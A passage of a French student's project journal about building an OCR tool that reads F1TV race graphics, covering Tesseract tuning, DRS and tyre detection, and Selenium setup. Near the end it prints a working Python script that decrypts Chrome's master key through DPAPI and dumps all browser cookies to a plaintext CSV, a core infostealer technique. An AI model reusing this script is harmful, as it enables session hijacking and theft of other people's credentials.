VERSTAPPEN Sector 1 : 0:31:749 Sector 2 : 0:00:000 Sector 3 : 0:00:000 Evidemment le GapToLeader est faux sur leclerc car il est leader mais bon ca je pourrai toujours Hardcoder que le premier a jamais de GapToLeader. Bon j'ai eu beaucoup de soucis que je ne vais pas mentionner ici car ce sont simplement des soucis de logique de programmation pour trouver un DRS ouvert ou non. Au final la technique que j'utilise et qui marche plut\u00f4t bien pour le DRS est que je prend la premi\u00e8re image de DRS et je la d\u00e9clare comme valeur \u00e9talon d'un DRS non actif, en effet dans 99% des cas le leader n'a pas de DRS (cela peut arriver alors il faudra donc juste verifier que les pilotes sont bien \u00e0 moins de deux secondes les uns des autres pour confirmer). Ensuite cette valeur \u00e9talon je la calcule en fonction du nombre de pixels verts dans l'image et si il y a plus de 30% de pixels verts en plus c'est que le DRS est activ\u00e9 ex: Ceci est un DRS ferm\u00e9: \"Closed DRS\" Ceci est un DRS ouvert: \"Open DRS\" Cela marche \u00e0 peu pr\u00e8s tout le temps mais dans le pire des cas on peut toujours verifier que les pilotes sont bien proches pour detecter les potentiels rares cas de faux positifs. J'ai pu augmenter les performances en utilisant un seul engine pour tout le monde et en arr\u00eatant d'utiliser GetPixel et SetPixel qui sont simplement des horreurs \u00e0 utiliser. Mais elles ne sont pas encore bonnes Le soucis avec la detection de pneus cependant, c'est qu'il n'est pas possible d'utiliser la reconnaissance pour savoir ou regarder la couleur car cela ne marcherait pas. Je ne peux pas faire trop de post processing car je dois conserver la couleur Je ne peux pas hardocder un endroit ou aller regarder car cela \u00e9volue tout le long du Grand Prix. Bref c'est la gal\u00e8re. En y r\u00e9flechissant je me suis dit qu'une bonne id\u00e9e pourrait \u00eatre de partir de la droite de la zone du pneu en regardant au milieu de la hauteur. Puis continuer vers la gauche jusqu'\u00e0 ce que je rencontre une couleur diff\u00e9rente. Je pourrai ensuite faire une zone un peu vers la gauche qui devrait contenir les infos du pneu et sur laquelle il sera possible de faire de le reconnaissance de couleur et de la reconnaissance de chiffres. J'ai d\u00e9termin\u00e9 que le background n'\u00e9tait jamais plus clair que #505050 et que donc nimporte quelle couleur qui aurait plus que 50 dans un seul des channels serait consid\u00e8r\u00e9e comme une couleur cassant le background Pour arriver \u00e0 cette conclusion je me suis amus\u00e9 un peu avec les couleurs pour jouer avec les limites de mon algorythme : \"Color fun\" Et je crois que j'ai eu une bonne id\u00e9e, avec une petite methode bien faite on arrive \u00e0 de supers r\u00e9sultats : private Rectangle FindTyreZone() { Bitmap bmp = WindowImage; int currentPosition = bmp.Width; int height = bmp.Height / 2; Color limitColor = Color.FromArgb(0x50,0x50,0x50); Color currentColor = Color.FromArgb(0,0,0); Size newWindowSize = new Size(bmp.Height,bmp.Height); while(currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0) { currentPosition--; currentColor = bmp.GetPixel(currentPosition,height); } //Its here to let the new window include a little bit of the right side int offset = Convert.ToInt32((float)newWindowSize.Width / 100f * 20f); int CorrectedX = currentPosition - (newWindowSize.Width - offset); if (CorrectedX <= 0) return new Rectangle(0,0,newWindowSize.Width,newWindowSize.Height); return new Rectangle(CorrectedX,0,newWindowSize.Width,newWindowSize.Height); } \"Tyres\" Maintenant cela devrait \u00eatre beaucoup plus simple de trouver la couleur g\u00e9n\u00e9rale et le nombre de tours. Donc ce que je fais c'est que je fais une reconnaissance de texte sur l'image r\u00e9duite. Si je trouve une lettre c'est facile Ca me donne le type de pneu et ca me dit que c'est le premier tour avec. Si c'est un nombre alors je fais la moyenne de toutes les couleurs de l'image et je prend la couleur de pneu la plus proche. Voici les diff\u00e9rentes couleurs de pneus : SOFT : #FF0000 MEDIUM : #f5bf00 HARD : #d9d8d4 INTER : #00a42e WET : #2760a6 \"Tyre colors\" Les couleurs de pneus peuvent changer de temps \u00e0 autres, par exemple cette r\u00e8gle de pneus est arriv\u00e9e en 2019 et avant il y avait beaucoup plus de couleurs mais dans une volont\u00e9 de rendre le sport plus facile \u00e0 comprendre \u00e0 la t\u00e9l\u00e9 cela a \u00e9t\u00e9 simplifi\u00e9. Je ne pense pas que cela va changer dans les ann\u00e9es qui viennent alors tout est hardcod\u00e9. Je pense que j'ai des soucis avec la detection de texte et de couleur car ma zone est trop grande. Alors bon j'\u00e9crit ces lignes apres des heures de tests. Il semble que la principale difficult\u00e9 avec ces pneus c'est que les chiffres ou lettres sont minuscules. Il est donc extr\u00eamement difficile de faire une reconnaissance ne serait-ce qu'un peu fiable.. Je fais de mon mieux pour tenter de r\u00e8gler le soucis cependant c'est vraiment complexe. Je commence \u00e0 devenir fou, je tente tout et nimporte quoi pour permettre \u00e0 mon algo de fonctionner et m\u00eame quand je fais du post processing comme pas possible il me retourne toujours nimporte quoi... \"5i t'inqui\u00e8tes\" Ici le programme va trouver '5i'... En fait c'est complexe d'expliquer tout ce que je fais car je change tout en boucle en essayant et en ratant ce qui prend des heures. Pour aujourd'hui j'abandonne je vais simplement rentrer chez moi et y r\u00e9flechir cette nuit mais je ne vois pas comment mieux faire la... C'est terrible par ce que je sens que je ne suis pas bien loin.","title":"Vendredi 6 Avril 2023"},{"location":"jdb.html#vacances","text":"Bon je vais un peu laisser de c\u00f4t\u00e9 la detection de chiffres pour me pencher un peu plus sur la d\u00e9tection de couleur. Par ce que techniquement si j'arrive \u00e0 toujours parfaitement la detecter alors je pourrais me passer des chiffres car ils sont redondant si je construit un historique de pneus. J'ai r\u00e9ussi \u00e0 fix mon probl\u00e8me de mauvaise detection de couleur de pneus. Du moins je crois. Seulement j'ai quand m\u00eame un souci, les fen\u00eatres de pneus avec une lettre n'ont pas assez de couleur pour \u00eatre d\u00e9tect\u00e9s. Je vais donc essayer de detecter les cinq lettres possibles et si il ne trouve pas alors je pourrai tenter de detecter les chiffres sans lettres ce qui devrait grandement aider. Le but est encore une fois de r\u00e9duire les possibilit\u00e9s de Tesseract. Je me rend de plus en plus compte que le plus important c'est de r\u00e9duire le scope le plus possible. Moins il y a de mots et lettres et de chiffres possibles meilleure sera la reconnaissance. Bon ca ne veut toujours pas marcher maintenant le 11 est interpr\u00eat\u00e9 comme trois I ou comme un M... J'en ai marre sans rire c'est vraiment p\u00e9nible. Alors j'\u00e9crit ces lignes deux jours plus tard et me rend compte avec horreur que toutes mes modifications sur ce journal de bord n'ont pas \u00e9t\u00e9 auvegard\u00e9e... yess.. Bon pour faire simple, j'ai r\u00e9ussi \u00e0 rendre la detection de couleurs bien plus efficace en r\u00e9duisant la taille de l'image et en ne prenant pas en compte les couleurs que l'on d\u00e9tecte comme \u00e9tant partie int\u00e9grante du background. Par exemple quand on a une image comme celle ci : \"Avec background\" qui contient un background alors que ci dessous, on l'a enlev\u00e9. \"Sans background\" La diff\u00e9rence est t\u00e9nue mais elle permet de grandement am\u00e9liorer la prescision de la reconnaissance de couleurs. Pour ce qui est du nombre de tours je me suis rendu compte que cela n'\u00e9tait d\u00e9ja pas tr\u00e8s utile car avec l'historique on devrait pouvoir le d\u00e9duire. Mais bon pour la forme je me suis dit que cela serait quand m\u00eame une bonne id\u00e9e de v\u00e9rifier avec la reconnaissance. J'\u00e9tais quasi certain que le soucis \u00e9tait le fait que l'on voie le contour du logo de pneu qui faisait que la reconnaissance avait du mal. Et j'avais raison ! En les enlevant (Ce qui n'a pas \u00e9t\u00e9 simple) J'ai pu avoir des chiffres beaucoup plus proches de la r\u00e9alit\u00e9. En m\u00eame temps je ne vois pas bien comment j'aurais pu faire mieux : \"Super 11\" Je suis quand m\u00eame assez fier de voir que j'ai r\u00e9ussi \u00e0 part de l'image que on peut voir un peu plus haut et automatiquement la transormer en celle ci-dessus. J'ai donc pu retirer le round autour du chiffre et cela m'a permit de pouvoir d\u00e9zoomer un peu et c'est avec ca que les lettres ont pu \u00eatre mieux reconnues : \"Super H\" \"Super M\" Maintenant je pense qu'il ne reste \"plus qu'\u00e0\" nettoyer un peu tout ce code qui traine de partout pour tout faire fonctionner et impl\u00e9menter un peu de parrallel processing ainsi que de l'asynchrone pour ne pas bloquer le reste du programme. Par ce qu'il faut savoir que en l'\u00e9t\u00e2t, le programme met 25 secondes \u00e0 d\u00e9marrer et consomme presque 2GB de Ram. Certes cela ne veut pas dire que la reconnaissance \u00e0 elle seule prend 25 secondes car au d\u00e9marrage il y a aussi la lecture du fichier de config et la cr\u00e9ation des window etc.. En r\u00e9alit\u00e9 la partie strictement OCR prend dans les 12s si on en croit la fonction stopWatch de C#. Et quand on change d'image la reconnaissance prend 9s. Dans tout les cas c'est BEAUCOUP trop. J'aurais eu comme objectif de faire une reconnaissance toutes les secondes. Je ne sais pas bien si cela va \u00eatre possible mais en tout cas le but va \u00eatre de s'en rapprocher. Pour \u00eatre plus exact et permettre une comparaison, voici les stats exactes Avec un fichier d'images vide : Loading - 11.8s Splitting d'images - 90ms OCR - 12.5s Avec un fichier d'images plein : Loading - 10.8s Splitting d'images - 80ms Ocr - 11.6s En passant d'une image \u00e0 l'autre : Loading - NaN Splitting d'images - 50ms Ocr - 8.8s Donc on peut voir que les deux endroits ou le programme prend le plus de temps c'est au premier d\u00e9marrage quand il faut lire le fichier et setup les windows etc... Et l'OCR qui prend un temps fou. Ce qui est pratique c'est que les presque 2gb de ram sont utilis\u00e9s que au lancement et ensuite l'application n'en utilise que quelques centaines de mb. Le processeur lui tourne entre 10 et 20% ce qui ne va pas durer :) Je vais m'occuper dabord du loading. J'ai essay\u00e9 d'utiliser un Parrallel.For au moment de la cr\u00e9ation des windows, le probl\u00e8me c'est que visiblement les objets windows sont beaucoup trops complexes et utilisent trop de ressources partag\u00e9es pour \u00eatre vraiment thread Safe. J'\u00e9sp\u00e8re que je n'aurais pas trop de soucis avec ca qu'en j'en viendrai \u00e0 l'optimisation de l'OCR... Ce qui me rend fou c'est que cette boucle toute nulle prend plus de dix secondes \u00e0 s'executer et je ne comprend pas bien pourquoi. for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset) /*- (i* (FirstZoneSize.Height / 32))*/); Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize)); Bitmap zoneImg = newDriverZone.ZoneImage; newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea))); newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea))); newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea))); newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea))); newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea))); newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea))); newDriverZone.AddWindow(new DriverSector1Window(zoneImg, new Rectangle(driverSector1Position, driverSector1Area))); newDriverZone.AddWindow(new DriverSector2Window(zoneImg, new Rectangle(driverSector2Position, driverSector2Area))); newDriverZone.AddWindow(new DriverSector3Window(zoneImg, new Rectangle(driverSector3Position, driverSector3Area))); MainZone.AddZone(newDriverZone); } Alors que Zone.AddWindow c'est simplement : public virtual void AddWindow(Window window) { Windows.Add(window); } Et windows est simplement une liste. Donc ca ne peut pas \u00eatre ca qui prend du temps. Et les windows que je cr\u00e9\u00e9 ont ca comme code : public DriverPositionWindow(Bitmap image, Rectangle bounds) : base(image, bounds) { Name = \"Position\"; } Sachant que le constructeur de base d'une Window c'est : public Window(Bitmap image, Rectangle bounds) { Image = image; Bounds = bounds; Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } Sachant que TesseractEngine est en statique et que donc il ne devrait... OHLLALALALALALALALALA je suis un imb\u00e9cile... J'ai juste \u00e0 changer ce constructeur avec ca: if (Engine == null) { Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } ET le loading ne prend plus que 2-300 ms... Bon c'est une tr\u00e8s belle am\u00e9lioration pour pas tr\u00e8s ch\u00e8r mais bon c'est un peu b\u00eate... Bon je pense que 2-300ms c'est une dur\u00e9e correcte surtout que ca n'est appel\u00e9 qu'une fois pour le lancement. On peut passer \u00e0 la suite maintenant. Alors il y a un grand soucis avec la parallellisation de l'OCR... Tesseract n'est pas par d\u00e9faut une classe \"Thread safe\" ce qui veut dire que je ne peut utiliser de parallell.Foreach sur mes windows pour acc\u00e8l\u00e8rer le traitement drastiquement. Je pourrais par exemple avoir une instance de Tesseract par window sauf que cela fait 20 pilotes * 9 windows chacuns ce qui donne 180 instances ce qui n'est tout simplement pas raisonnable. Je vais donc essayer de voir avec l'utilisation de methodes asynchrones qui me permettraient de faire un genre de flux tendu de reconnaissance. J'avoue que la je navigue un peu \u00e0 vue, je me base sur diff\u00e9rentes infos que je trouve sur des sites un peu perdus et sur chatGPT, j'esp\u00e8re que j'arriverai \u00e0 trouver une solution car 10 secondes de reconnaissance c'est vraiment beaucoup trop. Alors le soucis avec un Engine unique entre toutes les windows c'est qu'il n'est pas possible de process plusieurs images \u00e0 la fois. Je vais donc retirer l'engine unique pour voir si en cr\u00e9er un par window me permet de passer en multithreading. La grande question sera : Est-ce que les ressources suppl\u00e9mentaires que vont prendre la cr\u00e9ation de tous ces engines va compenser enti\u00e8rement le temps gagn\u00e9 avec la paralellisation. Pour stocker les donn\u00e9es dans un premier temps je vais cr\u00e9er un objet DriverData. Ce qu'il y a de pratique avec ca, c'est que je pourrais ajouter du code de v\u00e9rification de certaines donn\u00e9es directement dedans avant de les donner \u00e0 la suite du programme. Et on peut m\u00eame imaginer une impl\u00e9mentation d'une liste de DriverData pour avoir l'historique. Ce qui serait cool ca serait de grouper toutes ces data avec un num\u00e9ro de tour. Placer ensuite la liste de Data dans une DB serait ainsi super simple. Mais il va falloir savoir quoi mettre, quelles infos sont redondantes et prendre en compte le fait que un tour affich\u00e9 sur la page de la F1TV n'est accompli que par certains des premiers pilotes. D'autres pilotes peuvent \u00eatre dans des tours pr\u00e9c\u00e9dents si ils ont du retard. Il faudra r\u00e9fl\u00e9chir \u00e0 cela quand je viendrai au mod\u00e8le. Bon pour y arriver j'ai du faire de gros changements et le r\u00e9sultat n'est peut-\u00eatre pas aussi cool que ce que j'aurais voulut... Voici un petit point sur les performances maintenant J'ai \u00e9galement d\u00e9sactiv\u00e9 le dump d'images. Pour le moment j'ai tout mis en commentaire mais cela pourrait \u00eatre int\u00e9ressant de faire en sorte de pouvoir l'activer en changeant une ou deux variables Au d\u00e9marrage : Loading - 113ms Splitting d'images - 14ms Ocr - 7s En passant d'une image \u00e0 l'autre : Loading - 113ms Splitting d'images - 13ms Ocr - 5s Alors clairement les stats montrent qu'il y a eu un changement mesurable mais bon je pensais pouvoir en gagner un peu plus... Je soupconne la cr\u00e9ation d'engines d'\u00eatre \u00e0 l'origine de ces performances presque d\u00e9cevantes. Autre soucis, il semble que plus je change d'image plus la detection est lente et plus je consomme de RAM. Il va falloir que je travaille encore un peu. J'ai tent\u00e9 de mettre un stopwatch sur une des cr\u00e9ations d'engine Tesseract et le r\u00e9sultat me parait fou... Plus d'une seconde c'est dingue. J'ai test\u00e9 dans d'autres endroits du code et effectivement il semble que la cr\u00e9ation d'un engine prenne entre une et deux secondes ce qui est une ETERNITEE what ! Donc il faut optimiser tout ca. Une id\u00e9e serait de d\u00e9composer le threading mais cela me demanderait un gros refactor et je n'ai pas envie d'en refaire un la... Sinon, une fois qu'ils sont cr\u00e9\u00e9s ils ne prennent pas de temps du tout. Cr\u00e9er une fois tous les engines et ensuite les utiliser pourrait \u00eatre une bonne id\u00e9e. Cela prendrait longtemps au load mais ensuite les reconnaissances devraient \u00eatre super rapides. Ok alors ca c'est d\u00e9ja plus ce \u00e0 quoi je m'attendais ! On est de nouveau \u00e0 plus de 10s de loading time mais on est descendu \u00e0 deux secondes par OCR. (Bon autre soucis, l'utilisation de la RAM est ridicule plus de 2gb mais ce qui m'inqui\u00e8te c'est que j'ai l'impression qu'elle augmente plus on change d'image) J'ai r\u00e8gl\u00e9 (en partie) le soucis en obligeant le GC (Garbage Collector) \u00e0 collecter apr\u00e8s chaque detection. m\u00eame apr\u00e8s 50 detections l'utilisation de la ram se stabilize autour des 2GB. Bon en paralellisant la cr\u00e9ation des Engines le soucis c'est que cela demande d'allouer beaucoup trop de m\u00e9moire d'un coup alors le programme se fige pendant genre cinq secondes avant de tout cr\u00e9er. Du coup m\u00eame si la cr\u00e9ation est plus rapide, on se retrouve avec un temps total plus long... Je pense que l'on va devoir se contenter de ces dix secondes. Bon la j'allais tenter de faire la documentation mais je viens de me rendre compte que la detection de temps au tour est pas vraiment encore id\u00e9ale... J'ai r\u00e9ussi \u00e0 changer un petit peu le programme de reconnaissance pour rendre la reconnaissance un peu meilleure mais cela a drastiquement augment\u00e9 le temps requis pour d\u00e9coder... On arrive \u00e0 3.5 secondes. Je vais tenter de rajouter un peu de parralell processing sur les boucles de traitement voir si cela peut aider. Alors effectivement cela aide pas mal, on arrive maintenant \u00e0 faire une detection presque tout le temps en dessous de la seconde. Et j'ai aussi du changer un peu le fonctionnement de la detection des Temps au tour. Et voila je pense que je vais m'arr\u00eater la pour la partie d\u00e9codage. Je ne pense pas que je peux facilement faire mieux que ca et il faut que j'avance dans d'autres parties du projet. Je vais pouvoir commencer \u00e0 documenter un peu toute la partie OCR. Il faut que je prenne le temps de le faire bien car c'est la partie la plus int\u00e9ressante du projet et ou je pense que j'aurai le plus essay\u00e9 de choses qui vallent le coup d\u00eatres racont\u00e9es. J'ai aussi pass\u00e9 pas mal de temps sur le poster du projet. J'avais fait des croquis au crayon de ce \u00e0 quoi je pensais, cependant apr\u00e8s de longues discussions avec M.Garcia ils n'\u00e9taient pas forc\u00e9ment tr\u00e8s bons car ils ne repr\u00e9sentent pas assez bien le fonctionnement du projet et sont un peu trop marketings. Du coup j'ai fait une premi\u00e8re version au propre : \"Poster V1\" Mais je n'\u00e9tais pas forc\u00e9ment content du r\u00e9sultat et il manquait des choses je trouve comme par exemple l'utilisation de Selenium. J'ai donc repass\u00e9 des heures \u00e0 faire une seconde version : \"Poster V2\" La police d'\u00e9criture n'est pas encore la bonne mais cela va venir. Mais je pr\u00e9f\u00e8re d\u00e9ja beaucoup cette version \u00e0 la premi\u00e8re. Je ne sais pas encore si la version finale sera une version plus travaill\u00e9e de ce poster ou compl\u00eatement autre chose mais pour l'instant je suis \u00e0 peu pr\u00e8s content de cette version. Je le trouve un tout petit peu trop brouillon ou avec trop d'infos mais il m'a \u00e9t\u00e9 de nombreuses fois reproch\u00e9 de ne pas assez montrer le fonctionnememt interne et je ne peux pas faire plus simple. L'ajout des nombres pour compartimenter le projet ajoute de la structure mais je me demande si cela suffit. Maintenant que je suis \u00e0 peu pr\u00e8s content de mon code pour l'OCR je vais commencer sa documentation. (Uniquement son fonctionnement interne pas comment s'en servir car cela va changer) Bon j'ai cr\u00e9\u00e9 u nouveau projet selenium mais m\u00eame avec les bonnes libraries je n'arrivais pas \u00e0 faire fonctionner firefox j'avais toujours une erreur \"OpenQA.Selenium.WebDriverException: 'Cannot start the driver service on http://localhost:51481/'\" et j'ai pu r\u00e8gler le probl\u00e8me en t\u00e9l\u00e9chargeant directement le gecko driver depuis le git https://github.com/mozilla/geckodriver/releases et utiliser le fichier directement dans le service : var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@\"geckodriver-v0.27.0-win32\\geckodriver.exe\"); FirefoxOptions options = new FirefoxOptions(); var driver = new FirefoxDriver(service,options); Le seul probl\u00e8me c'est que du coup il faut tout le temps d\u00e9placer le fichier dans le dossier bin si je clone le projet. Il faudra faire un installeur dans la version finale qui s'occupe de tout je pense. Je me suis dit que j'allais garder la doc pour le retour des vacances quand j'aurai un bureau un clavier et un setup complet un peu propres. Bon il va falloir que je parle de la r\u00e9cup\u00e9ration de cookie. J'ai d\u00e9ja pu travailler lors d'un poc sur la meilleure facon de prendres des screenshots de la F1TV : Avoir une page chrome ouverte avec le feed en plein \u00e9cran et un programme qui prend des captures d'\u00e9crans. Avoir une cam\u00e9ra qui prend en photo l'\u00e9cran au cas ou chrome et Firefox emp\u00eachent la prise de captures d'\u00e9crans. R\u00e9cup\u00e8rer directement le feed en faisant du reverse engeneering de la plateforme. Simuler un chrome en background qui prenne des screenshot sans qu'on aie \u00e0 le voir. Dans toutes ces options, je dirais que la pire \u00e9tait celle de la cam\u00e9ra qui filme l'\u00e9cran, mais \u00e0 l'\u00e9poque c'\u00e9tait encore envisageable comme solution de dernier recours. Le soucis de cette solution c'est l'horreur que serait la partie OCR avec une image de tr\u00e8s mauvaise qualit\u00e9. Une autre option qui m'aurait vraiment emb\u00eat\u00e9 aurait \u00e9t\u00e9 de devoir garder une page de Chrome ou Firefox ouverte quelque part sur un \u00e9cran pour que le programme puisse prendres des captures d'\u00e9crans. C'est de loin l'option la plus simple et la plus logique mais elle poss\u00e8de pour moi de tr\u00e8s gros points noirs : On ne peut pas certifier l'int\u00e9grit\u00e9 des donn\u00e9es car l'utilisateur a le contr\u00f4le total sur le feed. Il peut mettre pause, avancer, reculer, tout casser sans faire expr\u00e8s en ouvrant autre chose sur son ordi qui se mette pile devant. Bref c'est un peu bancale. Et surtout on bloque une partie non significative de l'\u00e9cran de l'utilisateur avec des infos redondantes. Et je peux vous dire que quand je commente la F1 j'ai besoin de beaucoup d'informations et que chaque centim\u00e8tre d'\u00e9cran est crucia\u00e9 ! Alors avoir un \u00e9cran complet bloqu\u00e9 est juste un point bloquant qui m'emp\u00eacherait d'utiliser l'app aussi bonne soit-elle dans ses pr\u00e9dictions. Mais bon si aucune autre methode ne fonctionne ce qui est bien c'est que celle la est plut\u00f4t simple \u00e0 mettre en place. Ensuite reverse engeneer le feed serait l'option la plus classe, cependant c'est la plus complexe et la plus bancale au niveau l\u00e9gal haha. L'id\u00e9e serait de r\u00e9cup\u00e8rer le lien vers le broadcast g\u00e9n\u00e9ral et de comprendre comment il fonctionne pour le d\u00e9coder nous m\u00eame pendant un Grand Prix. Seuls soucis : Il n'est pas possible de faire des tests en dehors des periodes de Grand Prix (Et je rappelle que c'est des p\u00e9riodes ou je travaille en plus) Difficile de faire un syst\u00e8me qui marche pareil pour les rediffusions et les lives. (En effet les liens des rediff sont beaucoup plus simple \u00e0 r\u00e9cup\u00e8rer mais ne fonctionnent pas du tout pareil et pour tester l'app il est essentiel de pouvoir s'entrainer sur des anciens Grand Prix) Dernier GROS soucis, je ne sais tout simplement pas faire ca lol. Je ne sais pas comment faire. Peut-\u00eatre que avec des profs qui m'aident et chat gpt ainsi qu'internet je pourrais potentiellement n\u00e9gocier un truc mais c'est hautement improbable et cela serait une perte de temps folle si je n'y arrive pas. Derni\u00e8re option que je trouve la plus s\u00e9duisante. Simuler une instance de Chrome ou de Firefox (Le soucis avec chrome c'est qu'il impl\u00e9mente l'utilisation de DRM dans les vid\u00e9os qui fait qu'il est tr\u00e8s difficile de passer outre la s\u00e9curit\u00e9 avec un bot) pour ensuite prendre des captures d'\u00e9crans automatiquement. Cette solutions offre pleins d'avantages : Pas de place prise sur l'\u00e9cran L'int\u00e9grit\u00e9 des donn\u00e9es est assur\u00e9e car c'est le programme qui d\u00e9cide d'ou partir et de si il met pause ou non C'est une option complexe mais beaucoup moins que le reverse engeneering Elle permet de ne demander presque aucun input de la part de l'utilisateur. Mais elle pose quelques probl\u00e9matiques : Comment se connecter automatiquement sans \u00eatre detect\u00e9 par un Bot et sans demander \u00e0 l'utilisateur ses identifiants (Pour des raisons \u00e9videntes qui sont : QUI VA METTRE SES IDENTIFIANTS SUR UNE VIEILLE APP COMME LA MIENNE??) Comment faire en sorte que le programme prenne les meilleures captures dans la meilleure qualit\u00e9 et en plein \u00e9cran. Mais j'ai d\u00e9cid\u00e9 de partir sur cette option. Pour ce faire j'utilise Selenium. J'ai pu tester Puppetteer Sharp et m\u00eame si dans un premier temps j'ai pu avancer asez vite, malheureusement il y a des bugs qui rendent son utilisation impossible dans notre contexte. J'ai donc d\u00e9cid\u00e9 de tout faire en utilisant un portage de Selenium dans mon programme. Voici un exemple de code qui va ouvrir FireFox et qui va lancer un RickRoll var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@\"geckodriver-v0.27.0-win32\\geckodriver.exe\"); service.Host = \"127.0.0.1\"; service.Port = 5555; FirefoxOptions options = new FirefoxOptions(); options.AddArgument(\"--disable-headless\"); var driver = new FirefoxDriver(service,options); driver.Navigate().GoToUrl(\"https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1\"); Dans cet exemple on d\u00e9sactive le \"Headless\" pour qu'on puisse voir ce que fait l'app car sinon tout est invisible. Alors dans les faits la vid\u00e9o youtube ne se lance pas du tout car il y a des pubs et des prompts de cookies que l'on doit accepter etc... ce qui montre les diff\u00e9rents challenges que l'on va devoir surmonter pour vraiment faire ce que l'on veut. Mais un petit d\u00e9tail extr\u00eamement important, la F1TV est un programme payant un peu comme netflix. Ce qui veut dire que pour acc\u00e8der au contenu il faut \u00eatre connect\u00e9. Sauf que une instance de firefox cr\u00e9\u00e9 par Selenium est comme une page de naviguation priv\u00e9e, ce qui veut dire que si on va sur la page de la F1TV on est pas connect\u00e9s. Je pourrais tout \u00e0 fait demander \u00e0 l'utilisateur de me donner ses identifiants pour que j'aille ensuite automatiquement me connecter sauf que cela pose deux soucis: Personne ne voudra mettre ses identifiants sur mon programme La page de login de la F1TV a \u00e9t\u00e9 prot\u00e8g\u00e9e avec la meilleure technologie de detection de bots que je connaisse. Presque aucun site n'arrive \u00e0 me detecter sauf eux ! Donc c'est tout simplement impossible d'utiliser cette technique. Ensuite je me suis rappel\u00e9 que ce que la page stocke pour me permettre de rester connect\u00e9 ce sont des cookies. Et si je mets le bon cookies dans Selenium alors je serai connect\u00e9. Dans un premier temps je voulais faire un syst\u00e8me ou l'utilisateur irait prendre dans son chrome son cookie et le copie colle dans mon programme mais c'est immonde. C'est alors que vient la partie r\u00e9cup\u00e8ration de cookies ! Tous les cookies de chrome sont stock\u00e9s dans une base de donn\u00e9es SQLITE. On pourrait se dire Banco il suffit d'aller dedans et de retrouver tous les cookies et se connecter. Sauf que, pas b\u00eates, les \u00e9quipes de chrome ont d\u00e9cid\u00e9 que c'\u00e9tait une bonne id\u00e9e d'encoder les cookies pour que tout le monde ne puisse pas venir y mettre son nez... En effet les cookies peuvent contenir des informations importantes. Cela fait que pour utiliser ces cookies il faut pouvoir les d\u00e9coder. Mon hypoth\u00e8se a \u00e9t\u00e9 que si ces cookies peuvent \u00eatre lus par Chrome m\u00eame hors connexion, c'est que la cl\u00e9 de d\u00e9codage existe sur l'appareil et qu'il suffit de la trouver. ET C'EST LE CAS! Apr\u00e8s pas mal de recherches j'ai pu voir que la cl\u00e9 de d\u00e9codage existe bel et bien et qu'il suffit de la d\u00e9coder en utilisant la librairie DPAPI pour la lire. Avec cette cl\u00e9 on peut ensuite d\u00e9coder les cookies et leurs valeurs ce qui veut dire qu'il est th\u00e9oriquement possible d'automatiser le processus sans que l'utilisateur n'aie rien \u00e0 faire. J'ai d\u00e9cid\u00e9 de faire la partie r\u00e9cup\u00e8ration en python pour deux raison : Je n'arrivais pas \u00e0 trouver une bonne impl\u00e9mentation de DPAPI en C# qui me permettait de d\u00e9coder la cl\u00e9. Il existe beaucoup plus de documentation en Python pour ce qui est de la cryptographie et donc si Chrome change de fonctionnement il sera beaucoup plus simple de changer cette partie en particulier sans avoir \u00e0 recompiler le code C#. J'ai donc avec l'aide d'internet et de ChatGPT cr\u00e9\u00e9 ce script : def get_master_key(): with open( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Local State\", \"r\" ) as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"]) master_key = master_key[5:] # removing DPAPI master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] print(\"MASTER KEY :\") print(master_key) print(len(master_key)) return master_key def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except Exception: # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key() cookies_path = Path( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Network\\\\Cookies\" ) if not cookies_path.exists(): raise ValueError(\"Cookies file not found\") with sqlite3.connect(cookies_path) as connection: connection.row_factory = sqlite3.Row cursor = connection.cursor() cursor.execute(\"SELECT * FROM cookies\") with open('cookies.csv', 'a', newline='') as csvfile: fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) if csvfile.tell() == 0: writer.writeheader() for row in cursor.fetchall(): decrypted_value = decrypt_password(row[\"encrypted_value\"], master_key) writer.writerow({ 'host_key': row[\"host_key\"], 'name': row[\"name\"], 'value': decrypted_value, 'path': row[\"path\"], 'expires_utc': row[\"expires_utc\"], 'is_secure': row[\"is_secure\"], 'is_httponly': row[\"is_httponly\"] }) print(\"Finished CSV\") Ce programme va faire tout ce 